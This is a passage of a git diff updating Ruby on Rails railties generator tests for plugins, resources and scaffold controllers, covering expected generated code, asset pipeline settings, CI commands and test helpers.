-    assert_file "deep-hyphenated-name/app/controllers/deep/hyphenated/name/application_controller.rb", /module Deep\n  module Hyphenated\n    module Name\n      class ApplicationController < ActionController::Base\n        protect_from_forgery with: :exception\n      end\n    end\n  end\nend\n/
-    assert_file "deep-hyphenated-name/app/models/deep/hyphenated/name/application_record.rb",          /module Deep\n  module Hyphenated\n    module Name\n      class ApplicationRecord < ActiveRecord::Base\n        self\.abstract_class = true\n      end\n    end\n  end\nend/
+    assert_file "deep-hyphenated-name/app/controllers/deep/hyphenated/name/application_controller.rb", /module Deep\n  module Hyphenated\n    module Name\n      class ApplicationController < ActionController::Base\n      end\n    end\n  end\nend\n/
+    assert_file "deep-hyphenated-name/app/models/deep/hyphenated/name/application_record.rb",          /module Deep\n  module Hyphenated\n    module Name\n      class ApplicationRecord < ActiveRecord::Base\n        self.abstract_class = true\n      end\n    end\n  end\nend/
     assert_file "deep-hyphenated-name/app/jobs/deep/hyphenated/name/application_job.rb",               /module Deep\n  module Hyphenated\n    module Name\n      class ApplicationJob < ActiveJob::Base/
-    assert_file "deep-hyphenated-name/app/mailers/deep/hyphenated/name/application_mailer.rb",         /module Deep\n  module Hyphenated\n    module Name\n      class ApplicationMailer < ActionMailer::Base\n        default from: 'from@example.com'\n        layout 'mailer'\n      end\n    end\n  end\nend/
+    assert_file "deep-hyphenated-name/app/mailers/deep/hyphenated/name/application_mailer.rb",         /module Deep\n  module Hyphenated\n    module Name\n      class ApplicationMailer < ActionMailer::Base\n        default from: "from@example\.com"\n        layout "mailer"\n      end\n    end\n  end\nend/
     assert_file "deep-hyphenated-name/app/helpers/deep/hyphenated/name/application_helper.rb",         /module Deep\n  module Hyphenated\n    module Name\n      module ApplicationHelper\n      end\n    end\n  end\nend/
     assert_file "deep-hyphenated-name/app/views/layouts/deep/hyphenated/name/application.html.erb" do |contents|
       assert_match "<title>Deep hyphenated name</title>", contents
       assert_match(/stylesheet_link_tag\s+['"]deep\/hyphenated\/name\/application['"]/, contents)
-      assert_match(/javascript_include_tag\s+['"]deep\/hyphenated\/name\/application['"]/, contents)
+      assert_no_match(/javascript_include_tag\s+['"]deep\/hyphenated\/name\/application['"]/, contents)
+    end
+  end
+
+  def test_creating_full_engine_mode_adds_keeps
+    run_generator [destination_root, "--full"]
+    folders_with_keep = %w(
+      app/models/concerns
+      app/controllers/concerns
+      test/fixtures/files
+      test/controllers
+      test/mailers
+      test/models
+      test/helpers
+      test/integration
+    )
+    folders_with_keep.each do |folder|
+      assert_file("#{folder}/.keep")
+    end
+  end
+
+  def test_creating_full_api_engine_adds_keeps
+    run_generator [destination_root, "--full", "--api"]
+    folders_with_keep = %w(
+      app/models/concerns
+      app/controllers/concerns
+      test/fixtures/files
+      test/controllers
+      test/mailers
+      test/models
+      test/integration
+    )
+    folders_with_keep.each do |folder|
+      assert_file("#{folder}/.keep")
+    end
+    assert_no_file("test/helpers/.keep")
+  end
+
+  def test_creating_mountable_engine_mode_adds_keeps
+    run_generator [destination_root, "--mountable"]
+    folders_with_keep = %w(
+      app/models/concerns
+      app/controllers/concerns
+      test/fixtures/files
+      test/controllers
+      test/mailers
+      test/models
+      test/helpers
+      test/integration
+    )
+    folders_with_keep.each do |folder|
+      assert_file("#{folder}/.keep")
     end
   end
 
   def test_creating_gemspec
     run_generator
-    assert_file "bukkits.gemspec", /s.name\s+= "bukkits"/
-    assert_file "bukkits.gemspec", /s.files = Dir\["\{app,config,db,lib\}\/\*\*\/\*", "MIT-LICENSE", "Rakefile", "README\.md"\]/
-    assert_file "bukkits.gemspec", /s.version\s+ = Bukkits::VERSION/
+    assert_file "bukkits.gemspec", /spec\.name\s+= "bukkits"/
+    assert_file "bukkits.gemspec", /spec\.files = Dir.chdir\(File\.expand_path\(__dir__\)\)\s+do\s+Dir\["\{app,config,db,lib\}\/\*\*\/\*", "MIT-LICENSE", "Rakefile", "README\.md"\]\s+end/
+    assert_file "bukkits.gemspec", /spec\.version\s+ = Bukkits::VERSION/
+  end
+
+  def test_gemspec_uses_optimistic_rails_version_constraint
+    rails_version = "1.2.3.4.pre5"
+
+    Rails.stub(:gem_version, Gem::Version.new(rails_version)) do
+      run_generator
+    end
+
+    assert_file "bukkits.gemspec", /add_dependency "rails", ">= #{Regexp.escape rails_version}"/
   end
 
   def test_usage_of_engine_commands
     run_generator [destination_root, "--full"]
-    assert_file "bin/rails", /ENGINE_PATH = File.expand_path\('..\/..\/lib\/bukkits\/engine', __FILE__\)/
-    assert_file "bin/rails", /ENGINE_ROOT = File.expand_path\('..\/..', __FILE__\)/
-    assert_file "bin/rails", %r|APP_PATH = File.expand_path\('../../test/dummy/config/application', __FILE__\)|
-    assert_file "bin/rails", /require 'rails\/all'/
-    assert_file "bin/rails", /require 'rails\/engine\/commands'/
+    assert_file "bin/rails", /ENGINE_PATH = File\.expand_path\("\.\.\/lib\/bukkits\/engine", __dir__\)/
+    assert_file "bin/rails", /ENGINE_ROOT = File\.expand_path\("\.\.", __dir__\)/
+    assert_file "bin/rails", %r|APP_PATH = File\.expand_path\("\.\./test/dummy/config/application", __dir__\)|
+    assert_file "bin/rails", /require "rails\/all"/
+    assert_file "bin/rails", /require "rails\/engine\/commands"/
   end
 
   def test_shebang
@@ -437,7 +553,7 @@ def test_passing_dummy_path_as_a_parameter
     assert_file "spec/dummy/config/application.rb"
     assert_no_file "test/dummy"
     assert_file "test/test_helper.rb" do |content|
-      assert_match(/require.+spec\/dummy\/config\/environment/, content)
+      assert_match(/require_relative.+spec\/dummy\/config\/environment/, content)
       assert_match(/ActiveRecord::Migrator\.migrations_paths.+spec\/dummy\/db\/migrate/, content)
     end
   end
@@ -448,27 +564,64 @@ def test_creating_dummy_application_with_different_name
     assert_file "spec/fake/config/application.rb"
     assert_no_file "test/dummy"
     assert_file "test/test_helper.rb" do |content|
-      assert_match(/require.+spec\/fake\/config\/environment/, content)
+      assert_match(/require_relative.+spec\/fake\/config\/environment/, content)
       assert_match(/ActiveRecord::Migrator\.migrations_paths.+spec\/fake\/db\/migrate/, content)
     end
   end
 
   def test_creating_dummy_without_tests_but_with_dummy_path
     run_generator [destination_root, "--dummy_path", "spec/dummy", "--skip-test"]
-    assert_file "spec/dummy"
-    assert_file "spec/dummy/config/application.rb"
-    assert_no_file "test"
-    assert_no_file "test/test_helper.rb"
+    assert_directory "spec/dummy"
+    assert_file "spec/dummy/config/application.rb", /#\s+require\s+["']rails\/test_unit\/railtie["']/
+    assert_no_directory "test"
     assert_file ".gitignore" do |contents|
       assert_match(/spec\/dummy/, contents)
     end
   end
 
-  def test_dummy_appplication_skip_listen_by_default
+  def test_plugin_passes_generated_test
+    run_generator
+    prepare_plugin(destination_root)
+
+    in_plugin_context(destination_root) do
+      output = `bin/test 2>&1`
+      assert_predicate $?, :success?, "Command failed: #{output}"
+    end
+  end
+
+  def test_dummy_application_sets_include_all_helpers_to_false_for_mountable
+    run_generator [destination_root, "--mountable"]
+
+    assert_file "test/dummy/config/application.rb", /^    config\.action_controller\.include_all_helpers = false$/
+  end
+
+  def test_dummy_application_sets_include_all_helpers_to_false_for_full
+    run_generator [destination_root, "--full"]
+
+    assert_file "test/dummy/config/application.rb", /include_all_helpers/
+  end
+
+  def test_dummy_application_does_not_set_include_all_helpers_for_regular
+    run_generator
+
+    assert_file "test/dummy/config/application.rb" do |content|
+      assert_no_match(/include_all_helpers/, content)
+    end
+  end
+
+  def test_dummy_application_does_not_set_include_all_helpers_for_api
+    run_generator [destination_root, "--mountable", "--api"]
+
+    assert_file "test/dummy/config/application.rb" do |content|
+      assert_no_match(/include_all_helpers/, content)
+    end
+  end
+
+  def test_dummy_application_uses_dynamic_rails_version_number
     run_generator
 
-    assert_file "test/dummy/config/environments/development.rb" do |contents|
-      assert_match(/^\s*# config.file_watcher = ActiveSupport::EventedFileUpdateChecker/, contents)
+    assert_file "test/dummy/config/application.rb" do |contents|
+      assert_match(/^\s*config\.load_defaults Rails::VERSION::STRING\.to_f/, contents)
     end
   end
 
@@ -480,34 +633,62 @@ def test_ensure_that_gitignore_can_be_generated_from_a_template_for_dummy_path
     end
   end
 
-  def test_unnecessary_files_are_not_generated_in_dummy_application
-    run_generator
-    assert_no_file "test/dummy/.gitignore"
-    assert_no_file "test/dummy/db/seeds.rb"
-    assert_no_file "test/dummy/Gemfile"
-    assert_no_file "test/dummy/public/robots.txt"
-    assert_no_file "test/dummy/README.md"
-    assert_no_directory "test/dummy/lib/tasks"
-    assert_no_directory "test/dummy/doc"
-    assert_no_directory "test/dummy/test"
-    assert_no_directory "test/dummy/vendor"
-  end
-
   def test_skipping_test_files
     run_generator [destination_root, "--skip-test"]
-    assert_no_file "test"
+    assert_no_directory "test"
     assert_file ".gitignore" do |contents|
-      assert_no_match(/test\dummy/, contents)
+      assert_no_match(/test\/dummy/, contents)
     end
   end
 
+  def test_dummy_application_skips_asset_pipeline_when_simple_railtie
+    run_generator
+
+    assert_no_gem "propshaft"
+    assert_no_file "test/dummy/config/initializers/assets.rb"
+    assert_file "test/dummy/config/environments/development.rb" do |content|
+      assert_no_match "config.assets", content
+    end
+  end
+
+  def test_dummy_application_configures_asset_pipeline_when_mountable
+    run_generator [destination_root, "--mountable"]
+
+    assert_gem "propshaft"
+    assert_file "test/dummy/config/initializers/assets.rb"
+  end
+
+  def test_dummy_application_configures_asset_pipeline_when_full
+    run_generator [destination_root, "--full"]
+
+    assert_gem "propshaft"
+    assert_file "test/dummy/config/initializers/assets.rb"
+    assert_file "test/dummy/config/environments/development.rb"
+  end
+
+  def test_dummy_application_skips_asset_pipeline_when_flag_skip_asset_pipeline
+    run_generator [destination_root, "--mountable", "--skip-asset-pipeline"]
+
+    assert_no_gem "propshaft"
+    assert_no_file "test/dummy/config/initializers/assets.rb"
+    assert_file "test/dummy/config/environments/development.rb" do |content|
+      assert_no_match "config.assets", content
+    end
+  end
+
+  def test_no_asset_pipeline_gem_when_no_dummy_application
+    run_generator [destination_root, "--mountable", "--skip-test"]
+
+    assert_no_gem "propshaft"
+    assert_no_directory "test/dummy"
+  end
+
   def test_skipping_gemspec
     run_generator [destination_root, "--skip-gemspec"]
     assert_no_file "bukkits.gemspec"
     assert_file "Gemfile" do |contents|
       assert_no_match("gemspec", contents)
-      assert_match(/gem 'rails'/, contents)
-      assert_match_sqlite3(contents)
+      assert_match(/gem "rails"/, contents)
     end
   end
 
@@ -516,39 +697,49 @@ def test_skipping_gemspec_in_full_mode
     assert_no_file "bukkits.gemspec"
     assert_file "Gemfile" do |contents|
       assert_no_match("gemspec", contents)
-      assert_match(/gem 'rails'/, contents)
-      assert_match_sqlite3(contents)
+      assert_match(/gem "rails"/, contents)
     end
   end
 
   def test_creating_plugin_in_app_directory_adds_gemfile_entry
-    # simulate application existence
-    gemfile_path = "#{Rails.root}/Gemfile"
-    Object.const_set("APP_PATH", Rails.root)
-    FileUtils.touch gemfile_path
+    with_simulated_app do |gemfile_path|
+      File.write(gemfile_path, "#foo")
 
-    run_generator
+      run_generator
 
-    assert_file gemfile_path, /gem 'bukkits', path: 'tmp\/bukkits'/
-  ensure
-    Object.send(:remove_const, "APP_PATH")
-    FileUtils.rm gemfile_path
+      assert_file gemfile_path, /^gem "bukkits", path: "tmp\/bukkits"/
+    end
+  end
+
+  def test_creating_plugin_only_specify_plugin_name_in_app_directory_adds_gemfile_entry
+    with_simulated_app do |gemfile_path|
+      FileUtils.cd(destination_root)
+      run_generator ["bukkits"]
+
+      assert_file gemfile_path, /gem "bukkits", path: "bukkits"/
+    end
   end
 
   def test_skipping_gemfile_entry
-    # simulate application existence
-    gemfile_path = "#{Rails.root}/Gemfile"
-    Object.const_set("APP_PATH", Rails.root)
-    FileUtils.touch gemfile_path
+    with_simulated_app do |gemfile_path|
+      run_generator [destination_root, "--skip-gemfile-entry"]
+
+      assert_file gemfile_path do |contents|
+        assert_no_match(/gem "bukkits", path: "tmp\/bukkits"/, contents)
+      end
+    end
+  end
 
-    run_generator [destination_root, "--skip-gemfile-entry"]
+  def test_creating_plugin_in_application_skips_license
+    with_simulated_app do |gemfile_path|
+      FileUtils.cd(destination_root)
+      run_generator ["bukkits"]
 
-    assert_file gemfile_path do |contents|
-      assert_no_match(/gem 'bukkits', path: 'tmp\/bukkits'/, contents)
+      assert_file "bukkits/bukkits.gemspec" do |contents|
+        assert_no_match(/spec.license/, contents)
+      end
+      assert_no_file "bukkits/MIT-LICENSE"
     end
-  ensure
-    Object.send(:remove_const, "APP_PATH")
-    FileUtils.rm gemfile_path
   end
 
   def test_generating_controller_inside_mountable_engine
@@ -584,6 +775,15 @@ def test_git_name_in_license_file
     end
   end
 
+  def test_no_year_in_license_file
+    year = Date.today.year
+
+    run_generator
+    assert_file "MIT-LICENSE" do |contents|
+      assert_no_match(/#{year}/, contents)
+    end
+  end
+
   def test_no_details_from_git_when_skip_git
     name = "TODO: Write your name"
     email = "TODO: Write your email address"
@@ -596,6 +796,7 @@ def test_no_details_from_git_when_skip_git
       assert_match name, contents
       assert_match email, contents
     end
+    assert_no_directory ".git"
   end
 
   def test_skipping_useless_folders_generation_for_api_engines
@@ -643,7 +844,7 @@ def test_scaffold_generator_for_mountable_api_plugins
 
     assert_file "app/models/bukkits/article.rb"
     assert_file "app/controllers/bukkits/articles_controller.rb" do |content|
-      assert_match "only: [:show, :update, :destroy]", content
+      assert_match "only: %i[ show update destroy ]", content
     end
 
     assert_no_directory "app/assets"
@@ -660,20 +861,6 @@ def test_model_with_existent_application_record_in_mountable_engine
     assert_file "app/models/bukkits/article.rb", /class Article < ApplicationRecord/
   end
 
-  def test_generate_application_record_when_does_not_exist_in_mountable_engine
-    run_generator [destination_root, "--mountable"]
-    FileUtils.rm "#{destination_root}/app/models/bukkits/application_record.rb"
-    capture(:stdout) do
-      `#{destination_root}/bin/rails g model article`
-    end
-
-    assert_file "#{destination_root}/app/models/bukkits/application_record.rb" do |record|
-      assert_match(/module Bukkits/, record)
-      assert_match(/class ApplicationRecord < ActiveRecord::Base/, record)
-      assert_match(/self.abstract_class = true/, record)
-    end
-  end
-
   def test_generate_application_mailer_when_does_not_exist_in_mountable_engine
     run_generator [destination_root, "--mountable"]
     FileUtils.rm "#{destination_root}/app/mailers/bukkits/application_mailer.rb"
@@ -715,8 +902,37 @@ def test_generate_application_job_when_does_not_exist_in_mountable_engine
     end
   end
 
-  private
+  def test_app_update_generates_bin_file
+    run_generator [destination_root, "--mountable"]
+
+    Object.const_set("ENGINE_ROOT", destination_root)
+    FileUtils.rm("#{destination_root}/bin/rails")
+
+    quietly { Rails::Engine::Updater.run(:create_bin_files) }
+
+    assert_file "#{destination_root}/bin/rails" do |content|
+      assert_match(%r|APP_PATH = File\.expand_path\("\.\./test/dummy/config/application", __dir__\)|, content)
+    end
+  ensure
+    Object.send(:remove_const, "ENGINE_ROOT")
+  end
 
+  def test_railtie_test_command
+    run_generator [destination_root]
+    assert_file ".github/workflows/ci.yml", /run: bin\/test/
+  end
+
+  def test_engine_test_command
+    run_generator [destination_root, "--full"]
+    assert_file ".github/workflows/ci.yml", /run: bin\/rails db:test:prepare test/
+  end
+
+  def test_engine_without_active_record_test_command
+    run_generator [destination_root, "--full", "--skip-active-record"]
+    assert_file ".github/workflows/ci.yml", /run: bin\/rails test/
+  end
+
+  private
     def action(*args, &block)
       silence(:stdout) { generator.send(*args, &block) }
     end
@@ -725,28 +941,14 @@ def default_files
       ::DEFAULT_PLUGIN_FILES
     end
 
-    def assert_match_sqlite3(contents)
-      if defined?(JRUBY_VERSION)
-        assert_match(/group :development do\n  gem 'activerecord-jdbcsqlite3-adapter'\nend/, contents)
-      else
-        assert_match(/group :development do\n  gem 'sqlite3'\nend/, contents)
-      end
-    end
-
-    def assert_generates_without_bundler(options = {})
-      generator([destination_root], options)
+    def with_simulated_app
+      gemfile_path = "#{Rails.root}/Gemfile"
+      Object.const_set("APP_PATH", Rails.root)
+      FileUtils.touch gemfile_path
 
-      command_check = -> command do
-        case command
-        when "install"
-          flunk "install expected to not be called"
-        when "exec spring binstub --all"
-          # Called when running tests with spring, let through unscathed.
-        end
-      end
-
-      generator.stub :bundle_command, command_check do
-        quietly { generator.invoke_all }
-      end
+      yield gemfile_path
+    ensure
+      Object.send(:remove_const, "APP_PATH")
+      FileUtils.rm gemfile_path
     end
 end
diff --git a/railties/test/generators/plugin_test_helper.rb b/railties/test/generators/plugin_test_helper.rb
index 8ac90e3484132..1357d042cbecd 100644
--- a/railties/test/generators/plugin_test_helper.rb
+++ b/railties/test/generators/plugin_test_helper.rb
@@ -1,10 +1,12 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "tmpdir"
 
 module PluginTestHelper
   def create_test_file(name, pass: true)
     plugin_file "test/#{name}_test.rb", <<-RUBY
-      require 'test_helper'
+      require "test_helper"
 
       class #{name.camelize}Test < ActiveSupport::TestCase
         def test_truth
diff --git a/railties/test/generators/plugin_test_runner_test.rb b/railties/test/generators/plugin_test_runner_test.rb
index 0bdd2a77d2244..98e195cc7bf7c 100644
--- a/railties/test/generators/plugin_test_runner_test.rb
+++ b/railties/test/generators/plugin_test_runner_test.rb
@@ -1,11 +1,17 @@
+# frozen_string_literal: true
+
 require "generators/plugin_test_helper"
+require "env_helpers"
+require "plugin_helpers"
 
 class PluginTestRunnerTest < ActiveSupport::TestCase
   include PluginTestHelper
+  include EnvHelpers
+  include PluginHelpers
 
   def setup
     @destination_root = Dir.mktmpdir("bukkits")
-    Dir.chdir(@destination_root) { `bundle exec rails plugin new bukkits --skip-bundle` }
+    generate_plugin("#{@destination_root}/bukkits")
     plugin_file "test/dummy/db/schema.rb", ""
   end
 
@@ -13,6 +19,10 @@ def teardown
     FileUtils.rm_rf(@destination_root)
   end
 
+  def test_run_default
+    assert_match "0 failures, 0 errors", run_test_command
+  end
+
   def test_run_single_file
     create_test_file "foo"
     create_test_file "bar"
@@ -28,7 +38,7 @@ def test_run_multiple_files
   def test_mix_files_and_line_filters
     create_test_file "account"
     plugin_file "test/post_test.rb", <<-RUBY
-      require 'test_helper'
+      require "test_helper"
 
       class PostTest < ActiveSupport::TestCase
         def test_post
@@ -63,7 +73,7 @@ def test_output_inline_by_default
     create_test_file "post", pass: false
 
     output = run_test_command("test/post_test.rb")
-    expect = %r{Running:\n\nPostTest\nF\n\nFailure:\nPostTest#test_truth \[[^\]]+test/post_test.rb:6\]:\nwups!\n\nbin/test (/private)?#{plugin_path}/test/post_test.rb:4}
+    expect = %r{Running:\n\nPostTest\nF\n\nFailure:\nPostTest#test_truth \[.*?test/post_test.rb:6\]:\nwups!\n\nbin/test (/private)?#{plugin_path}/test/post_test.rb:4}
     assert_match expect, output
   end
 
@@ -71,7 +81,7 @@ def test_only_inline_failure_output
     create_test_file "post", pass: false
 
     output = run_test_command("test/post_test.rb")
-    assert_match %r{Finished in.*\n\n1 runs, 1 assertions}, output
+    assert_match %r{Finished in.*\n1 runs, 1 assertions}, output
   end
 
   def test_fail_fast
@@ -83,7 +93,7 @@ def test_fail_fast
 
   def test_raise_error_when_specified_file_does_not_exist
     error = capture(:stderr) { run_test_command("test/not_exists.rb") }
-    assert_match(%r{cannot load such file.+test/not_exists\.rb}, error)
+    assert_match(%r{Could not load test file.+test/not_exists\.rb}, error)
   end
 
   def test_executed_only_once
@@ -94,7 +104,7 @@ def test_executed_only_once
 
   def test_warnings_option
     plugin_file "test/models/warnings_test.rb", <<-RUBY
-      require 'test_helper'
+      require "test_helper"
       def test_warnings
         a = 1
       end
@@ -108,7 +118,9 @@ def plugin_path
       "#{@destination_root}/bukkits"
     end
 
-    def run_test_command(arguments)
-      Dir.chdir(plugin_path) { `bin/test #{arguments}` }
+    def run_test_command(arguments = "")
+      Dir.chdir(plugin_path) do
+        Bundler.with_unbundled_env { `bin/test #{arguments}` }
+      end
     end
 end
diff --git a/railties/test/generators/resource_generator_test.rb b/railties/test/generators/resource_generator_test.rb
index e976e58180377..e2a4a64bc3476 100644
--- a/railties/test/generators/resource_generator_test.rb
+++ b/railties/test/generators/resource_generator_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "generators/generators_test_helper"
 require "rails/generators/rails/resource/resource_generator"
 
@@ -5,7 +7,16 @@ class ResourceGeneratorTest < Rails::Generators::TestCase
   include GeneratorsTestHelper
   arguments %w(account)
 
-  setup :copy_routes
+  def setup
+    super
+    copy_routes
+    Rails::Generators::ModelHelpers.skip_warn = false
+  end
+
+  def test_help_with_usage_description
+    content = run_generator ["--help"]
+    assert_match(/Generates a new resource/, content)
+  end
 
   def test_help_with_inherited_options
     content = run_generator ["--help"]
@@ -59,7 +70,7 @@ def test_resource_routes_are_added
   end
 
   def test_plural_names_are_singularized
-    content = run_generator ["accounts".freeze]
+    content = run_generator ["accounts"]
     assert_file "app/models/account.rb", /class Account < ApplicationRecord/
     assert_file "test/models/account_test.rb", /class AccountTest/
     assert_match(/\[WARNING\] The model name 'accounts' was recognized as a plural, using the singular 'account' instead\. Override with --force-plural or setup custom inflection rules for this noun before running the generator\./, content)
@@ -73,7 +84,7 @@ def test_plural_names_can_be_forced
   end
 
   def test_mass_nouns_do_not_throw_warnings
-    content = run_generator ["sheep".freeze]
+    content = run_generator ["sheep"]
     assert_no_match(/\[WARNING\]/, content)
   end
 
diff --git a/railties/test/generators/scaffold_controller_generator_test.rb b/railties/test/generators/scaffold_controller_generator_test.rb
index 9971626f9f4fc..b504215456143 100644
--- a/railties/test/generators/scaffold_controller_generator_test.rb
+++ b/railties/test/generators/scaffold_controller_generator_test.rb
@@ -1,3 +1,6 @@
+# frozen_string_literal: true
+
+require "plugin_helpers"
 require "generators/generators_test_helper"
 require "rails/generators/rails/scaffold_controller/scaffold_controller_generator"
 
@@ -7,9 +10,12 @@ module Generators
 end
 
 class ScaffoldControllerGeneratorTest < Rails::Generators::TestCase
+  include PluginHelpers
   include GeneratorsTestHelper
   arguments %w(User name:string age:integer)
 
+  setup :copy_routes
+
   def test_controller_skeleton_is_created
     run_generator
 
@@ -31,23 +37,28 @@ def test_controller_skeleton_is_created
       assert_instance_method :create, content do |m|
         assert_match(/@user = User\.new\(user_params\)/, m)
         assert_match(/@user\.save/, m)
+        assert_match(/redirect_to @user/, m)
       end
 
       assert_instance_method :update, content do |m|
         assert_match(/@user\.update\(user_params\)/, m)
+        assert_match(/redirect_to @user/, m)
+        assert_match(/status: :see_other/, m)
       end
 
       assert_instance_method :destroy, content do |m|
         assert_match(/@user\.destroy/, m)
         assert_match(/User was successfully destroyed/, m)
+        assert_match(/redirect_to users_path/, m)
+        assert_match(/status: :see_other/, m)
       end
 
       assert_instance_method :set_user, content do |m|
-        assert_match(/@user = User\.find\(params\[:id\]\)/, m)
+        assert_match(/@user = User\.find\(params\.expect\(:id\)\)/, m)
       end
 
       assert_match(/def user_params/, content)
-      assert_match(/params\.require\(:user\)\.permit\(:name, :age\)/, content)
+      assert_match(/params\.expect\(user: \[ :name, :age \]\)/, content)
     end
   end
 
@@ -65,7 +76,7 @@ def test_controller_permit_references_attributes
 
     assert_file "app/controllers/line_items_controller.rb" do |content|
       assert_match(/def line_item_params/, content)
-      assert_match(/params\.require\(:line_item\)\.permit\(:product_id, :cart_id\)/, content)
+      assert_match(/params\.expect\(line_item: \[ :product_id, :cart_id \]\)/, content)
     end
   end
 
@@ -74,7 +85,41 @@ def test_controller_permit_polymorphic_references_attributes
 
     assert_file "app/controllers/line_items_controller.rb" do |content|
       assert_match(/def line_item_params/, content)
-      assert_match(/params\.require\(:line_item\)\.permit\(:product_id, :product_type\)/, content)
+      assert_match(/params\.expect\(line_item: \[ :product_id, :product_type \]\)/, content)
+    end
+  end
+
+  def test_controller_permit_attachment_attributes
+    run_generator ["Message", "video:attachment", "photos:attachments"]
+
+    assert_file "app/controllers/messages_controller.rb" do |content|
+      assert_match(/def message_params/, content)
+      assert_match(/params\.expect\(message: \[ :video, photos: \[\] \]\)/, content)
+    end
+  end
+
+  def test_controller_permit_attachments_attributes_only
+    run_generator ["Message", "photos:attachments"]
+
+    assert_file "app/controllers/messages_controller.rb" do |content|
+      assert_match(/def message_params/, content)
+      assert_match(/params\.expect\(message: \[ photos: \[\] \]\)/, content)
+    end
+  end
+
+  def test_controller_route_are_added
+    run_generator ["Message", "photos:attachments"]
+
+    assert_file "config/routes.rb" do |route|
+      assert_match(/resources :messages$/, route)
+    end
+  end
+
+  def test_controller_route_are_skipped
+    run_generator ["Message", "photos:attachments", "--skip-routes"]
+
+    assert_file "config/routes.rb" do |route|
+      assert_no_match(/resources :messages$/, route)
     end
   end
 
@@ -117,8 +162,8 @@ def test_functional_tests_without_attributes
     assert_file "test/controllers/users_controller_test.rb" do |content|
       assert_match(/class UsersControllerTest < ActionDispatch::IntegrationTest/, content)
       assert_match(/test "should get index"/, content)
-      assert_match(/post users_url, params: \{ user: \{  \} \}/, content)
-      assert_match(/patch user_url\(@user\), params: \{ user: \{  \} \}/, content)
+      assert_match(/post users_url, params: \{ user: \{\} \}/, content)
+      assert_match(/patch user_url\(@user\), params: \{ user: \{\} \}/, content)
     end
   end
 
@@ -169,30 +214,84 @@ def self.all(klass)
   def test_model_name_option
     run_generator ["Admin::User", "--model-name=User"]
     assert_file "app/controllers/admin/users_controller.rb" do |content|
+      assert_match "# GET /admin/users", content
       assert_instance_method :index, content do |m|
         assert_match("@users = User.all", m)
       end
+
+      assert_match "# POST /admin/users", content
+      assert_instance_method :create, content do |m|
+        assert_match("redirect_to [:admin, @user]", m)
+      end
+
+      assert_match "# PATCH/PUT /admin/users/1", content
+      assert_instance_method :update, content do |m|
+        assert_match("redirect_to [:admin, @user]", m)
+      end
+    end
+
+    assert_file "app/views/admin/users/index.html.erb" do |content|
+      assert_match %{@users.each do |user|}, content
+      assert_match %{render user}, content
+      assert_match %{"Show this user", [:admin, user]}, content
+      assert_match %{"New user", new_admin_user_path}, content
+    end
+
+    assert_file "app/views/admin/users/show.html.erb" do |content|
+      assert_match %{render @user}, content
+      assert_match %{"Edit this user", edit_admin_user_path(@user)}, content
+      assert_match %{"Back to users", admin_users_path}, content
+      assert_match %{"Destroy this user", [:admin, @user]}, content
     end
+
+    assert_file "app/views/admin/users/_user.html.erb" do |content|
+      assert_match "user", content
+      assert_no_match "admin_user", content
+    end
+
+    assert_file "app/views/admin/users/new.html.erb" do |content|
+      assert_match %{render "form", user: @user}, content
+      assert_match %{"Back to users", admin_users_path}, content
+    end
+
+    assert_file "app/views/admin/users/edit.html.erb" do |content|
+      assert_match %{render "form", user: @user}, content
+      assert_match %{"Show this user", [:admin, @user]}, content
+      assert_match %{"Back to users", admin_users_path}, content
+    end
+
+    assert_file "app/views/admin/users/_form.html.erb" do |content|
+      assert_match %{model: [:admin, user]}, content
+    end
+
+    assert_file "test/controllers/admin/users_controller_test.rb" do |content|
+      assert_match " admin_users_url", content
+      assert_match " new_admin_user_url", content
+      assert_match " edit_admin_user_url", content
+      assert_match " admin_user_url(@user)", content
+      assert_no_match %r/\b(new_|edit_)?users?_(path|url)/, content
+    end
+
+    # System tests should not be generated by default
+    assert_no_file "test/system/users_test.rb"
   end
 
   def test_controller_tests_pass_by_default_inside_mountable_engine
-    Dir.chdir(destination_root) { `bundle exec rails plugin new bukkits --mountable` }
-
     engine_path = File.join(destination_root, "bukkits")
 
-    Dir.chdir(engine_path) do
+    with_new_plugin(engine_path, "--mountable") do
       quietly { `bin/rails g controller dashboard foo` }
+      quietly { `bin/rails db:migrate RAILS_ENV=test` }
       assert_match(/2 runs, 2 assertions, 0 failures, 0 errors/, `bin/rails test 2>&1`)
     end
   end
 
   def test_controller_tests_pass_by_default_inside_full_engine
-    Dir.chdir(destination_root) { `bundle exec rails plugin new bukkits --full` }
-
     engine_path = File.join(destination_root, "bukkits")
 
-    Dir.chdir(engine_path) do
+    with_new_plugin(engine_path, "--full") do
       quietly { `bin/rails g controller dashboard foo` }
+      quietly { `bin/rails db:migrate RAILS_ENV=test` }
       assert_match(/2 runs, 2 assertions, 0 failures, 0 errors/, `bin/rails test 2>&1`)
     end
   end
@@ -204,7 +303,7 @@ def test_api_only_generates_a_proper_api_controller
       assert_match(/class UsersController < ApplicationController/, content)
       assert_no_match(/respond_to/, content)
 
-      assert_match(/before_action :set_user, only: \[:show, :update, :destroy\]/, content)
+      assert_match(/before_action :set_user, only: %i\[ show update destroy \]/, content)
 
       assert_instance_method :index, content do |m|
         assert_match(/@users = User\.all/, m)
@@ -249,4 +348,30 @@ def test_api_controller_tests
       assert_no_match(/assert_redirected_to/, content)
     end
   end
+
+  def test_api_only_generates_params_for_attachments
+    run_generator ["Message", "video:attachment", "photos:attachments", "--api"]
+
+    assert_file "app/controllers/messages_controller.rb" do |content|
+      assert_match(/def message_params/, content)
+      assert_match(/params\.expect\(message: \[ :video, photos: \[\] \]\)/, content)
+    end
+  end
+
+  def test_api_only_doesnt_use_require_or_permit_if_there_are_no_attributes
+    run_generator ["User", "--api"]
+
+    assert_file "app/controllers/users_controller.rb" do |content|
+      assert_match(/def user_params/, content)
+      assert_match(/params\.fetch\(:user, \{\}\)/, content)
+    end
+  end
+
+  def test_check_class_collision
+    Object.const_set :UsersController, Class.new
+    content = capture(:stderr) { run_generator }
+    assert_match(/The name 'UsersController' is either already used in your application or reserved/, content)
+  ensure
+    Object.send :remove_const, :UsersController
+  end
 end
diff --git a/railties/test/generators/scaffold_generator_test.rb b/railties/test/generators/scaffold_generator_test.rb
index e2b2acab0fa0f..73643c7e2695e 100644
--- a/railties/test/generators/scaffold_generator_test.rb
+++ b/railties/test/generators/scaffold_generator_test.rb
@@ -1,9 +1,14 @@
+# frozen_string_literal: true
+
+require "plugin_helpers"
 require "generators/generators_test_helper"
 require "rails/generators/rails/scaffold/scaffold_generator"
+require "bcrypt"
 
